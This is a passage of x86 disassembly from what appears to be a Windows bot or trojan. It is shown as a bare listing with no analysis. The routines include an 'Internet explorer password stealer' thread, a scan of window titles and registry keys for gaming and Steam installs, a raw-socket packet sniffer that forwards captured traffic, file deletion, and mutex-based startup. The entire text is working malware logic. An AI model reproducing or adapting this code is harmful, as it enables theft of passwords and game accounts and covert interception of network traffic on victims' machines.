; lstrcmp test eax, eax jnz short loc_4104F0 inc dword ptr [ebp-10h] cmp [ebp-0F7h], bl jnz short loc_4104F0 lea eax, [ebp-5BCh] push eax lea eax, [ebp-7BCh] push eax lea eax, [ebp-28Ch] push dword ptr [ebp-10h] push offset dword_4188C8 push eax call sub_4096CB add esp, 14h loc_4104F0: ; CODE XREF: sub_4101E6+2D8j ; sub_4101E6+2E3j lea eax, [ebp-84h] push offset a5e7e8100 ; "5e7e8100" push eax call esi ; lstrcmp test eax, eax jnz loc_410597 mov edi, dword_412104 lea eax, [ebp-358h] push offset byte_4191D0 push eax call edi ; lstrcpy mov esi, offset asc_413528 ; ":" lea eax, [ebp-5BCh] push esi push eax call sub_411528 ; strstr pop ecx test eax, eax pop ecx jz short loc_41055D lea eax, [ebp-5BCh] push esi push eax call sub_411528 ; strstr pop ecx inc eax pop ecx push eax lea eax, [ebp-358h] push eax call edi ; lstrcpy lea eax, [ebp-5BCh] push esi push eax call sub_411528 ; strstr pop ecx mov [eax], bl pop ecx loc_41055D: ; CODE XREF: sub_4101E6+34Aj inc dword ptr [ebp-10h] push 3E8h call dword_4120A4 ; Sleep lea eax, [ebp-358h] push eax lea eax, [ebp-5BCh] push eax lea eax, [ebp-7BCh] push eax lea eax, [ebp-28Ch] push dword ptr [ebp-10h] push offset dword_418864 push eax call sub_4096CB add esp, 18h loc_410597: ; CODE XREF: sub_4101E6+31Aj lea eax, [ebp-84h] push offset aB9819c52 ; "b9819c52" push eax call dword_412110 ; lstrcmp test eax, eax jnz loc_410705 mov eax, [ebp-18h] xor edi, edi xor esi, esi cmp [ebp-20h], ebx jbe short loc_410600 loc_4105BD: ; CODE XREF: sub_4101E6+418j mov cl, [esi+eax] cmp cl, bl jnz short loc_4105CE mov byte ptr [ebp+edi-5BCh], 2Ch jmp short loc_4105F8 ; --------------------------------------------------------------------------- loc_4105CE: ; CODE XREF: sub_4101E6+3DCj push ecx call dword_412200 ; IsCharAlphaNumericA test eax, eax mov eax, [ebp-18h] jnz short loc_4105EE mov cl, [esi+eax] cmp cl, 40h jz short loc_4105EE cmp cl, 2Eh jz short loc_4105EE cmp cl, 5Fh jnz short loc_4105F9 loc_4105EE: ; CODE XREF: sub_4101E6+3F4j ; sub_4101E6+3FCj ... mov cl, [esi+eax] mov [ebp+edi-5BCh], cl loc_4105F8: ; CODE XREF: sub_4101E6+3E6j inc edi loc_4105F9: ; CODE XREF: sub_4101E6+406j inc esi inc esi cmp esi, [ebp-20h] jb short loc_4105BD loc_410600: ; CODE XREF: sub_4101E6+3D5j mov [ebp+edi-5BDh], bl cmp [eax+4], bl lea esi, [ebp-5BAh] mov [ebp-2Ch], ebx jbe loc_410705 loc_410619: ; CODE XREF: sub_4101E6+519j inc esi lea eax, [ebp-3BCh] push esi push eax call dword_412104 ; lstrcpy mov edi, offset dword_418854 lea eax, [ebp-3BCh] push edi push eax call sub_411528 ; strstr pop ecx test eax, eax pop ecx jz short loc_410651 lea eax, [ebp-3BCh] push edi push eax call sub_411528 ; strstr pop ecx mov [eax], bl pop ecx loc_410651: ; CODE XREF: sub_4101E6+458j push edi push esi call sub_411528 ; strstr pop ecx test eax, eax pop ecx jz short loc_410677 push edi push esi call sub_411528 ; strstr pop ecx inc eax pop ecx inc eax push eax lea eax, [ebp-0E8h] push eax call dword_412104 ; lstrcpy loc_410677: ; CODE XREF: sub_4101E6+476j lea eax, [ebp-0E8h] push edi push eax call sub_411528 ; strstr pop ecx test eax, eax pop ecx jz short loc_41069B lea eax, [ebp-0E8h] push edi push eax call sub_411528 ; strstr pop ecx mov [eax], bl pop ecx loc_41069B: ; CODE XREF: sub_4101E6+4A2j push edi push esi call sub_411528 ; strstr pop ecx mov esi, eax pop ecx lea eax, [ebp-0E8h] push eax call dword_412040 ; lstrlen inc dword ptr [ebp-10h] push 3E8h lea esi, [esi+eax+9] call dword_4120A4 ; Sleep cmp [ebp-0F7h], bl jnz short loc_4106F2 lea eax, [ebp-0E8h] push eax lea eax, [ebp-3BCh] push eax lea eax, [ebp-28Ch] push dword ptr [ebp-10h] push offset dword_418814 push eax call sub_4096CB add esp, 14h loc_4106F2: ; CODE XREF: sub_4101E6+4E5j mov eax, [ebp-18h] inc dword ptr [ebp-2Ch] movzx eax, byte ptr [eax+4] cmp [ebp-2Ch], eax jl loc_410619 loc_410705: ; CODE XREF: sub_4101E6+3C5j ; sub_4101E6+42Dj lea eax, [ebp-84h] push offset aE161255a ; "e161255a" push eax call dword_412110 ; lstrcmp test eax, eax jnz loc_41087C lea eax, [ebp-7BCh] push offset aStringindex ; "StringIndex" push eax call sub_411528 ; strstr pop ecx test eax, eax pop ecx jnz loc_41087C mov esi, offset dword_4187F4 lea eax, [ebp-7BCh] push esi push eax call sub_411528 ; strstr pop ecx test eax, eax pop ecx jz short loc_410763 lea eax, [ebp-7BCh] push esi push eax call sub_411528 ; strstr pop ecx mov [eax], bl pop ecx loc_410763: ; CODE XREF: sub_4101E6+56Aj lea eax, [ebp-7BCh] push 8 push eax lea eax, [ebp-358h] push eax call dword_412108 ; lstrcpyn lea eax, [ebp-358h] push offset dword_4187EC push eax call sub_411528 ; strstr pop ecx test eax, eax pop ecx jnz short loc_4107EB lea eax, [ebp-358h] push offset dword_4187E4 push eax call sub_411528 ; strstr pop ecx test eax, eax pop ecx jnz short loc_4107EB inc dword ptr [ebp-10h] push 3E8h call dword_4120A4 ; Sleep cmp [ebp-0F7h], bl jnz loc_41087C lea eax, [ebp-5BCh] push eax lea eax, [ebp-7BCh] push eax lea eax, [ebp-28Ch] push dword ptr [ebp-10h] push offset dword_41879C push eax call sub_4096CB add esp, 14h jmp loc_41087C ; --------------------------------------------------------------------------- loc_4107EB: ; CODE XREF: sub_4101E6+5A8j ; sub_4101E6+5BFj mov edi, dword_412104 lea eax, [ebp-358h] push offset byte_4191D0 push eax call edi ; lstrcpy mov esi, offset dword_418854 lea eax, [ebp-5BCh] push esi push eax call sub_411528 ; strstr pop ecx test eax, eax pop ecx jz short loc_410842 lea eax, [ebp-5BCh] push esi push eax call sub_411528 ; strstr pop ecx inc eax pop ecx push eax lea eax, [ebp-358h] push eax call edi ; lstrcpy lea eax, [ebp-5BCh] push esi push eax call sub_411528 ; strstr pop ecx mov [eax], bl pop ecx loc_410842: ; CODE XREF: sub_4101E6+62Fj inc dword ptr [ebp-10h] push 3E8h call dword_4120A4 ; Sleep lea eax, [ebp-358h] push eax lea eax, [ebp-5BCh] push eax lea eax, [ebp-7BCh] push eax lea eax, [ebp-28Ch] push dword ptr [ebp-10h] push offset dword_418740 push eax call sub_4096CB add esp, 18h loc_41087C: ; CODE XREF: sub_4101E6+533j ; sub_4101E6+54Ej ... mov esi, 200h lea eax, [ebp-7BCh] push esi push ebx push eax call sub_4114E8 ; memset push esi lea eax, [ebp-5BCh] push ebx push eax call sub_4114E8 ; memset add esp, 18h jmp loc_4103AA ; --------------------------------------------------------------------------- loc_4108A5: ; CODE XREF: sub_4101E6+1E5j mov eax, [ebp-28h] mov byte ptr [ebp-4], 2 cmp eax, ebx jz loc_410346 mov ecx, [eax] push eax call dword ptr [ecx+8] jmp loc_410346 ; --------------------------------------------------------------------------- loc_4108BF: ; CODE XREF: sub_4101E6+181j mov eax, [ebp-24h] mov byte ptr [ebp-4], 1 cmp eax, ebx jz loc_4102B6 mov ecx, [eax] push eax call dword ptr [ecx+8] jmp loc_4102B6 ; --------------------------------------------------------------------------- loc_4108D9: ; CODE XREF: sub_4101E6+F1j ; sub_4101E6+100j mov al, [ebp+0Bh] push 3E8h mov [ebp-0F4h], al call dword_4120A4 ; Sleep push dword ptr [ebp-10h] mov eax, [ebp-290h] push dword ptr [eax] lea eax, [ebp-28Ch] push offset unk_418704 push eax call sub_4096CB push dword ptr [ebp-290h] call sub_406E6F add esp, 14h loc_410917: ; CODE XREF: sub_4101E6+9Dj mov eax, [ebp-1Ch] mov [ebp-4], bl cmp eax, ebx jz short loc_410927 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_410927: ; CODE XREF: sub_4101E6+57j ; sub_4101E6+739j mov eax, [ebp-14h] or dword ptr [ebp-4], 0FFFFFFFFh cmp eax, ebx jz short loc_410938 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_410938: ; CODE XREF: sub_4101E6+74Aj mov ecx, [ebp-0Ch] pop edi pop esi xor eax, eax mov large fs:0, ecx pop ebx leave retn 4 sub_4101E6 endp ; =============== S U B R O U T I N E ======================================= sub_41094B proc near ; CODE XREF: sub_407A76+6Cp arg_0 = dword ptr 4 cmp dword_419220, 0 push esi jz short loc_41098A push 1A7h call sub_4114C4 ; malloc mov esi, eax pop ecx test esi, esi jz short loc_41098A push [esp+4+arg_0] lea eax, [esi+4] push eax call sub_40457C pop ecx pop ecx push offset aInternetExplor ; "Internet explorer password stealer" push 0 push esi push offset sub_4101E6 call sub_406D58 add esp, 10h loc_41098A: ; CODE XREF: sub_41094B+8j ; sub_41094B+19j pop esi retn sub_41094B endp ; --------------------------------------------------------------------------- loc_41098C: ; CODE XREF: kkrunchy:00411963j ; kkrunchy:0041196Bj ... mov eax, [ecx] test eax, eax jz short locret_410998 mov ecx, [eax] push eax call dword ptr [ecx+8] locret_410998: ; CODE XREF: kkrunchy:00410990j retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410999 proc near ; DATA XREF: sub_410B3B+29o var_5BC = byte ptr -5BCh var_1BC = dword ptr -1BCh var_1B8 = byte ptr -1B8h var_20 = byte ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5BCh push ebx push esi push edi push 1A7h push [ebp+arg_0] lea eax, [ebp+var_1BC] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free xor esi, esi add esp, 10h mov [ebp+var_8], esi mov [ebp+var_C], esi mov [ebp+var_10], esi mov [ebp+var_14], esi mov [ebp+arg_0], esi xor ebx, ebx loc_4109D7: ; CODE XREF: sub_410999+ACj lea eax, [ebp+var_5BC] push 400h push eax push ebx call dword_4121F0 ; GetWindowTextA push 7 lea eax, [ebp+var_5BC] push offset aUnreal3 ; "Unreal3" push eax call sub_411930 ; _strnicmp add esp, 0Ch test eax, eax push 1 pop edi jnz short loc_410A0A mov [ebp+var_C], edi loc_410A0A: ; CODE XREF: sub_410999+6Cj lea eax, [ebp+var_5BC] push offset aWorldOfWarcraf ; "World Of Warcraft" push eax call sub_41177E ; strcmp pop ecx test eax, eax pop ecx jnz short loc_410A24 mov [ebp+var_14], edi loc_410A24: ; CODE XREF: sub_410999+86j lea eax, [ebp+var_5BC] push offset aConquer ; "[Conquer]" push eax call sub_41177E ; strcmp pop ecx test eax, eax pop ecx jnz short loc_410A3E mov [ebp+arg_0], edi loc_410A3E: ; CODE XREF: sub_410999+A0j inc ebx cmp ebx, 0FFFFh jb short loc_4109D7 mov edi, dword_412000 lea eax, [ebp+var_4] mov ebx, 20019h push eax push ebx push esi push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\VisualStudio\\6.0\\Set"... push 80000002h mov [ebp+var_4], esi call edi ; RegOpenKeyExA test eax, eax jnz short loc_410A72 mov [ebp+var_8], 1 loc_410A72: ; CODE XREF: sub_410999+D0j push [ebp+var_4] mov esi, dword_412028 call esi ; RegCloseKey and [ebp+var_4], 0 lea eax, [ebp+var_4] push eax push ebx push 0 push offset aSoftwareValveS ; "Software\\Valve\\Steam" push 80000001h call edi ; RegOpenKeyExA test eax, eax jnz short loc_410A9F mov [ebp+var_10], 1 loc_410A9F: ; CODE XREF: sub_410999+FDj push [ebp+var_4] call esi ; RegCloseKey cmp [ebp+var_20], 0 mov eax, offset aNo ; "No" mov ecx, offset aYes ; "Yes" jz short loc_410ADD xor edx, edx cmp [ebp+var_C], edx jnz short loc_410ADF cmp [ebp+var_8], edx jnz short loc_410ADF cmp [ebp+var_10], edx jnz short loc_410ADF cmp [ebp+var_14], edx jnz short loc_410ADF cmp [ebp+arg_0], edx jnz short loc_410AE4 push [ebp+var_1BC] call sub_406E6F pop ecx jmp short loc_410B32 ; --------------------------------------------------------------------------- loc_410ADD: ; CODE XREF: sub_410999+119j xor edx, edx loc_410ADF: ; CODE XREF: sub_410999+120j ; sub_410999+125j ... cmp [ebp+arg_0], edx jz short loc_410AE8 loc_410AE4: ; CODE XREF: sub_410999+134j mov ebx, ecx jmp short loc_410AEA ; --------------------------------------------------------------------------- loc_410AE8: ; CODE XREF: sub_410999+149j mov ebx, eax loc_410AEA: ; CODE XREF: sub_410999+14Dj cmp [ebp+var_14], edx mov edi, ecx jnz short loc_410AF3 mov edi, eax loc_410AF3: ; CODE XREF: sub_410999+156j cmp [ebp+var_10], edx mov esi, ecx jnz short loc_410AFC mov esi, eax loc_410AFC: ; CODE XREF: sub_410999+15Fj cmp [ebp+var_8], 0 mov edx, ecx jnz short loc_410B06 mov edx, eax loc_410B06: ; CODE XREF: sub_410999+169j cmp [ebp+var_C], 0 jz short loc_410B0E mov eax, ecx loc_410B0E: ; CODE XREF: sub_410999+171j push ebx push edi push esi push edx push eax lea eax, [ebp+var_1B8] push offset dword_418984 push eax call sub_4096CB push [ebp+var_1BC] call sub_406E6F add esp, 20h loc_410B32: ; CODE XREF: sub_410999+142j pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_410999 endp ; =============== S U B R O U T I N E ======================================= sub_410B3B proc near ; CODE XREF: sub_407A76+B84p arg_0 = dword ptr 4 push esi push 1A7h call sub_4114C4 ; malloc mov esi, eax pop ecx test esi, esi jz short loc_410B71 push [esp+4+arg_0] lea eax, [esi+4] push eax call sub_40457C pop ecx pop ecx push offset aListingInteres ; "Listing interesting processes" push 0 push esi push offset sub_410999 call sub_406D58 add esp, 10h loc_410B71: ; CODE XREF: sub_410B3B+10j pop esi retn sub_410B3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410B73 proc near ; CODE XREF: sub_410BC3+32p ; sub_410BC3+4Ap ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi cmp dword ptr [eax], 0 jz short loc_410BB9 mov esi, eax loc_410B81: ; CODE XREF: sub_410B73+44j push dword ptr [eax] push [ebp+arg_8] push [ebp+arg_4] call sub_405A0D add esp, 0Ch test eax, eax jz short loc_410BAF mov eax, [esi+4] test eax, eax jz short loc_410BBE push eax push [ebp+arg_8] push [ebp+arg_4] call sub_405A0D add esp, 0Ch test eax, eax jz short loc_410BBE loc_410BAF: ; CODE XREF: sub_410B73+20j add esi, 8 mov eax, esi cmp dword ptr [esi], 0 jnz short loc_410B81 loc_410BB9: ; CODE XREF: sub_410B73+Aj xor eax, eax loc_410BBB: ; CODE XREF: sub_410B73+4Ej pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_410BBE: ; CODE XREF: sub_410B73+27j ; sub_410B73+3Aj push 1 pop eax jmp short loc_410BBB sub_410B73 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410BC3 proc near ; CODE XREF: sub_410C55+29Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp [ebp+arg_C], 0 push ebx push esi mov esi, [ebp+arg_4] push edi mov edi, [ebp+arg_0] jz short loc_410BE6 push [ebp+arg_C] push esi push edi call sub_405A0D add esp, 0Ch test eax, eax jnz short loc_410C49 loc_410BE6: ; CODE XREF: sub_410BC3+10j mov ebx, [ebp+arg_8] cmp ebx, 1 jb short loc_410C01 push esi push edi push offset off_418AB4 call sub_410B73 add esp, 0Ch test eax, eax jnz short loc_410C49 loc_410C01: ; CODE XREF: sub_410BC3+29j cmp ebx, 2 jb short loc_410C19 push esi push edi push offset off_418B10 call sub_410B73 add esp, 0Ch test eax, eax jnz short loc_410C49 loc_410C19: ; CODE XREF: sub_410BC3+41j cmp ebx, 3 jb short loc_410C31 push esi push edi push offset off_418B84 call sub_410B73 add esp, 0Ch test eax, eax jnz short loc_410C49 loc_410C31: ; CODE XREF: sub_410BC3+59j cmp ebx, 4 jb short loc_410C4E push esi push edi push offset off_418BC8 call sub_410B73 add esp, 0Ch test eax, eax jz short loc_410C4E loc_410C49: ; CODE XREF: sub_410BC3+21j ; sub_410BC3+3Cj ... push 1 pop eax jmp short loc_410C50 ; --------------------------------------------------------------------------- loc_410C4E: ; CODE XREF: sub_410BC3+71j ; sub_410BC3+84j xor eax, eax loc_410C50: ; CODE XREF: sub_410BC3+89j pop edi pop esi pop ebx pop ebp retn sub_410BC3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410C55 proc near ; DATA XREF: sub_4110B4+76o var_199C = byte ptr -199Ch var_1993 = byte ptr -1993h var_1990 = dword ptr -1990h var_198C = dword ptr -198Ch var_970 = byte ptr -970h var_870 = byte ptr -870h var_770 = byte ptr -770h var_670 = byte ptr -670h var_4F0 = byte ptr -4F0h var_4EF = byte ptr -4EFh var_3F0 = dword ptr -3F0h var_3EC = dword ptr -3ECh var_3E8 = byte ptr -3E8h var_1E8 = byte ptr -1E8h var_5A = byte ptr -5Ah var_54 = byte ptr -54h var_50 = byte ptr -50h var_44 = byte ptr -44h var_40 = word ptr -40h var_3C = dword ptr -3Ch var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_14 = byte ptr -14h var_13 = byte ptr -13h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 199Ch call sub_411540 push ebx push esi push edi push 3ABh push [ebp+arg_0] lea eax, [ebp+var_3F0] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free mov al, [ebp+var_3E8] add esp, 10h neg al sbb eax, eax xor ebx, ebx lea ecx, [ebp+var_3E8] push ebx and eax, ecx push 3 push 2 mov [ebp+var_24], eax call dword_41222C ; socket mov esi, eax cmp esi, 0FFFFFFFFh mov [ebp+var_C], esi jz loc_41109F lea eax, [ebp+var_970] push 0FFh push eax call dword_412270 ; gethostname lea eax, [ebp+var_970] push eax call dword_41224C ; gethostbyname mov edi, eax cmp edi, ebx jz loc_411098 push 10h lea eax, [ebp+var_40] push ebx push eax call sub_4114E8 ; memset mov [ebp+var_40], 2 mov eax, [edi+0Ch] add esp, 0Ch mov eax, [eax] push 10h mov eax, [eax] mov [ebp+var_3C], eax lea eax, [ebp+var_40] push eax push esi call dword_41221C ; bind cmp eax, 0FFFFFFFFh jz loc_411098 push ebx lea eax, [ebp+var_44] push ebx push eax push ebx push ebx lea eax, [ebp+var_28] push 4 push eax push 98000001h push esi mov [ebp+var_28], 1 call dword_41226C ; WSAIoctl cmp eax, 0FFFFFFFFh jz loc_411098 push [ebp+var_3EC] mov eax, [ebp+var_3F0] push dword ptr [eax] lea eax, [ebp+var_1E8] push offset unk_418D94 push eax call sub_4096CB add esp, 10h xor eax, eax lea edi, [ebp+var_4EF] mov [ebp+var_4F0], bl push 3Fh mov [ebp+var_14], bl pop ecx mov [ebp+var_50], bl rep stosd stosw stosb xor eax, eax lea edi, [ebp+var_13] stosd stosb lea eax, [ebp+var_4F0] push eax call sub_4091A7 push eax call sub_4034DE pop ecx lea eax, [ebp+var_14] pop ecx push eax call sub_4091A7 push eax call sub_40357F pop ecx lea eax, [ebp+var_4F0] pop ecx push eax call dword_412254 ; inet_addr mov [ebp+var_20], eax lea eax, [ebp+var_14] push eax call sub_41151C ; atoi mov [ebp+var_30], eax xor eax, eax lea edi, [ebp+var_1B] mov [ebp+var_1C], bl stosd stosb pop ecx lea eax, [ebp+var_1C] push eax call sub_4091A7 push eax call sub_403530 mov eax, [ebp+var_3C] mov [ebp+var_8], eax lea eax, [ebp+var_1C] push eax call sub_41151C ; atoi add esp, 0Ch mov [ebp+var_2C], eax loc_410DF1: ; CODE XREF: sub_410C55+1F3j ; sub_410C55+43Bj push ebx lea eax, [ebp+var_199C] push 1028h push eax push esi call dword_412258 ; recv mov ecx, [ebp+var_3F0] cmp [ecx+4], ebx jnz loc_411098 cmp eax, 0FFFFFFFFh jz loc_411098 cmp eax, ebx jz loc_411098 mov [ebp+eax+var_199C], bl mov cl, [ebp+var_199C] and ecx, 0Fh lea edx, [ebp+var_199C] lea edi, [ebp+ecx*4+var_199C] mov ecx, edi sub ecx, edx cmp ecx, eax jnb short loc_410DF1 movzx ecx, byte ptr [edi+0Ch] shr ecx, 4 lea edx, [ebp+var_199C] lea esi, [edi+ecx*4] mov ecx, esi sub ecx, edx cmp ecx, eax jnb loc_41108D push esi call sub_4114BE ; strlen cmp [ebp+var_1993], 6 pop ecx mov [ebp+arg_0], eax jnz loc_41108D cmp [ebp+var_5A], bl jz short loc_410E91 mov eax, [ebp+var_8] cmp [ebp+var_198C], eax jnz loc_41108D loc_410E91: ; CODE XREF: sub_410C55+22Bj cmp [ebp+var_54], bl jz short loc_410EA5 mov eax, [ebp+var_8] cmp [ebp+var_1990], eax jnz loc_41108D loc_410EA5: ; CODE XREF: sub_410C55+23Fj mov ax, [edi] push eax call dword_412248 ; htons cmp ax, word ptr [ebp+var_2C] jnz short loc_410EC4 mov eax, [ebp+var_8] cmp [ebp+var_1990], eax jz loc_41108D loc_410EC4: ; CODE XREF: sub_410C55+25Ej mov ax, [edi] push eax call dword_412248 ; htons cmp ax, word ptr [ebp+var_30] jnz short loc_410EE3 mov eax, [ebp+var_20] cmp [ebp+var_1990], eax jz loc_41108D loc_410EE3: ; CODE XREF: sub_410C55+27Dj push [ebp+var_24] push [ebp+var_3EC] push [ebp+arg_0] push esi call sub_410BC3 add esp, 10h test eax, eax jz loc_41108D xor ecx, ecx cmp [ebp+arg_0], ebx jbe short loc_410F28 loc_410F07: ; CODE XREF: sub_410C55+2D1j cmp byte ptr [ecx+esi], 0Dh lea eax, [ecx+esi] jnz short loc_410F13 mov byte ptr [eax], 2Dh loc_410F13: ; CODE XREF: sub_410C55+2B9j cmp byte ptr [eax], 0Ah jnz short loc_410F1B mov byte ptr [eax], 3Eh loc_410F1B: ; CODE XREF: sub_410C55+2C1j cmp [eax], bl jnz short loc_410F22 mov byte ptr [eax], 2Eh loc_410F22: ; CODE XREF: sub_410C55+2C8j inc ecx cmp ecx, [ebp+arg_0] jb short loc_410F07 loc_410F28: ; CODE XREF: sub_410C55+2B0j xor eax, eax xor ecx, ecx cmp [esi], bl mov [ebp+arg_0], ecx jz short loc_410F4D loc_410F33: ; CODE XREF: sub_410C55+2F3j mov dl, [eax+esi] cmp dl, 7Fh jge short loc_410F44 cmp dl, 1Fh jle short loc_410F44 mov [ecx+esi], dl inc ecx loc_410F44: ; CODE XREF: sub_410C55+2E4j ; sub_410C55+2E9j inc eax cmp [eax+esi], bl jnz short loc_410F33 mov [ebp+arg_0], ecx loc_410F4D: ; CODE XREF: sub_410C55+2DCj mov al, [eax+esi] cmp ecx, ebx mov [ecx+esi], al jz loc_41108D push 100h push [ebp+var_1990] call dword_412230 ; inet_ntoa push eax lea eax, [ebp+var_870] push eax call sub_4059C2 add esp, 0Ch push 100h push [ebp+var_198C] call dword_412230 ; inet_ntoa push eax lea eax, [ebp+var_770] push eax call sub_4059C2 mov ax, [edi+2] add esp, 0Ch push eax call dword_412248 ; htons movzx eax, ax push eax lea eax, [ebp+var_770] push eax mov ax, [edi] push eax call dword_412248 ; htons movzx eax, ax push eax lea eax, [ebp+var_870] push eax lea eax, [ebp+var_670] push offset dword_418D60 push eax call sub_4114DC ; sprintf mov edi, eax mov eax, 180h sub eax, edi push eax lea eax, [ebp+edi+var_670] push esi push eax call sub_4059C2 add esp, 24h lea eax, [ebp+var_670] push eax lea eax, [ebp+var_1E8] push offset dword_413B6C push eax call sub_4096CB add esp, 0Ch push 3E8h call dword_4120A4 ; Sleep mov eax, [ebp+var_3F0] cmp [eax+4], ebx jnz short loc_411095 mov eax, 17Fh sub eax, edi mov edi, [ebp+arg_0] cmp eax, edi mov [ebp+var_4], eax jnb short loc_41108D add esi, eax loc_411038: ; CODE XREF: sub_410C55+436j push 180h lea eax, [ebp+var_670] push esi push eax call sub_4059C2 add esp, 0Ch lea eax, [ebp+var_670] push eax lea eax, [ebp+var_1E8] push offset dword_413B6C push eax call sub_4096CB add esp, 0Ch push 3E8h call dword_4120A4 ; Sleep mov eax, [ebp+var_3F0] cmp [eax+4], ebx jnz short loc_411095 mov eax, 17Fh add [ebp+var_4], eax add esi, eax cmp [ebp+var_4], edi jb short loc_411038 loc_41108D: ; CODE XREF: sub_410C55+20Bj ; sub_410C55+222j ... mov esi, [ebp+var_C] jmp loc_410DF1 ; --------------------------------------------------------------------------- loc_411095: ; CODE XREF: sub_410C55+3CEj ; sub_410C55+427j mov esi, [ebp+var_C] loc_411098: ; CODE XREF: sub_410C55+82j ; sub_410C55+B7j ... push esi call dword_412240 ; closesocket loc_41109F: ; CODE XREF: sub_410C55+59j push [ebp+var_3F0] call sub_406E6F pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_410C55 endp ; =============== S U B R O U T I N E ======================================= sub_4110B4 proc near ; CODE XREF: sub_407A76+643p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push 3ABh call sub_4114C4 ; malloc mov esi, eax pop ecx test esi, esi jz short loc_411138 cmp [esp+4+arg_4], 0 jz short loc_4110D9 push [esp+4+arg_4] call sub_41151C ; atoi pop ecx jmp short loc_4110DC ; --------------------------------------------------------------------------- loc_4110D9: ; CODE XREF: sub_4110B4+17j push 3 pop eax loc_4110DC: ; CODE XREF: sub_4110B4+23j mov [esi+4], eax mov eax, [esp+4+arg_8] test eax, eax jnz short loc_4110EC mov eax, offset byte_4191D0 loc_4110EC: ; CODE XREF: sub_4110B4+31j push edi push 200h push eax lea eax, [esi+8] push eax call sub_4059C2 mov edi, [esp+14h+arg_0] push 1A3h lea eax, [esi+208h] push edi push eax call sub_4114D0 ; memcpy xor eax, eax add esp, 18h cmp [edi+18Bh], al push dword ptr [esi+4] setz al push offset dword_418DC8 push eax push esi push offset sub_410C55 call sub_406D58 add esp, 14h pop edi loc_411138: ; CODE XREF: sub_4110B4+10j pop esi retn sub_4110B4 endp ; =============== S U B R O U T I N E ======================================= sub_41113A proc near ; CODE XREF: sub_4111BA+4p arg_0 = dword ptr 4 push offset aRb ; "rb" push [esp+4+arg_0] call sub_411506 ; fopen pop ecx test eax, eax pop ecx jz short loc_411159 push eax call sub_411500 ; fclose pop ecx push 1 pop eax retn ; --------------------------------------------------------------------------- loc_411159: ; CODE XREF: sub_41113A+12j xor eax, eax retn sub_41113A endp ; =============== S U B R O U T I N E ======================================= sub_41115C proc near ; CODE XREF: sub_407A76+763p arg_0 = dword ptr 4 push esi push offset aRb ; "rb" push [esp+8+arg_0] call sub_411506 ; fopen mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4111A5 push edi push 2 push 0 push esi call sub_411516 ; fseek push esi call sub_4114F4 ; ftell push 0 push 0 push esi mov edi, eax call sub_411516 ; fseek push esi call sub_411500 ; fclose mov eax, edi add esp, 20h inc eax neg eax sbb eax, eax and eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4111A5: ; CODE XREF: sub_41115C+15j xor eax, eax pop esi retn sub_41115C endp ; =============== S U B R O U T I N E ======================================= sub_4111A9 proc near ; CODE XREF: sub_4111BA+12p arg_0 = dword ptr 4 push [esp+arg_0] call dword_4120B8 ; DeleteFileA neg eax sbb eax, eax neg eax retn sub_4111A9 endp ; =============== S U B R O U T I N E ======================================= sub_4111BA proc near ; CODE XREF: sub_402018+11Fp arg_0 = dword ptr 4 push [esp+arg_0] call sub_41113A test eax, eax pop ecx jz short loc_4111D8 push [esp+arg_0] call sub_4111A9 neg eax sbb eax, eax pop ecx inc eax retn ; --------------------------------------------------------------------------- loc_4111D8: ; CODE XREF: sub_4111BA+Cj xor eax, eax retn sub_4111BA endp ; =============== S U B R O U T I N E ======================================= sub_4111DB proc near ; CODE XREF: sub_407A76+5A6p arg_4 = dword ptr 8 mov eax, [esp+arg_4] push dword ptr [eax] call sub_40A64A pop ecx retn sub_4111DB endp ; --------------------------------------------------------------------------- loc_4111E8: ; CODE XREF: kkrunchy:003F288Dj push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4122A8 push offset sub_41175A mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx mov eax, 12DCh call sub_411540 push ebx push esi push edi mov [ebp-18h], esp push 2 call dword_4120FC ; SetErrorMode xor edi, edi mov [ebp-4], edi push dword_418E0C push dword_418E08 push 3AEh push dword_418E04 push edi push dword_418E00 push offset a08xX08x3x08x08 ; "%08x%x%08x%3x%08x%08x" lea eax, [ebp-115Ch] push eax call sub_4114DC ; sprintf add esp, 20h mov [ebp-1128h], edi loc_41125C: ; CODE XREF: kkrunchy:0041146Fj cmp dword ptr [ebp-1128h], 0Ah jnz short loc_41126A call sub_4052DF loc_41126A: ; CODE XREF: kkrunchy:00411263j push 3E8h call dword_4120A4 ; Sleep lea eax, [ebp-115Ch] push eax push edi push edi call dword_412100 ; CreateMutexA mov [ebp-12F0h], eax cmp eax, edi jz loc_411469 call dword_41206C ; RtlGetLastWin32Error test eax, eax jnz loc_411469 call sub_402D7B call sub_4045B7 call sub_406B98 call sub_40EAC4 call sub_40B31E call sub_40A42C push 10h mov esi, offset dword_418E00 push esi call sub_40B55F push 10h push esi call sub_40A606 push 10h push esi call sub_40A67C add esp, 